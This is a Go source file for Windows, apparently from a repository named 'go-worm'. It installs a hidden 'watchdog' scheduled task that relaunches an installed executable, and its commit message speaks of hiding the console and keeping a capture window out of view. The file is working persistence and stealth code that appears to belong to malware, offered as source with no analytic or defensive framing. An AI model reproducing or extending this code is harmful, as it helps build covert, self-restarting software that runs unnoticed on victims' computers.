kato
cc2b1d049b
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
67 lines
1.4 KiB
Go
67 lines
1.4 KiB
Go
//go:build windows
|
|
|
|
package startup
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"strings"
|
|
"unicode/utf16"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
|
)
|
|
|
|
func enableWatchdog() error {
|
|
exe, err := config.InstalledExe()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
path := tmp.Name()
|
|
defer os.Remove(path)
|
|
if err := tmp.Close(); err != nil {
|
|
return err
|
|
}
|
|
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
|
|
return err
|
|
}
|
|
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
|
|
}
|
|
|
|
func disableWatchdog() error {
|
|
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
|
|
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
|
|
return nil
|
|
}
|
|
return err
|
|
}
|
|
|
|
func runSchtasks(args ...string) error {
|
|
cmd := exec.Command("schtasks", args...)
|
|
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
msg := strings.TrimSpace(string(out))
|
|
if msg == "" {
|
|
msg = err.Error()
|
|
}
|
|
return fmt.Errorf("schtasks: %s", msg)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func utf16LE(s string) []byte {
|
|
u := utf16.Encode([]rune(s))
|
|
out := make([]byte, 0, 2+len(u)*2)
|
|
out = append(out, 0xFF, 0xFE)
|
|
for _, r := range u {
|
|
out = append(out, byte(r), byte(r>>8))
|
|
}
|
|
return out
|
|
}
|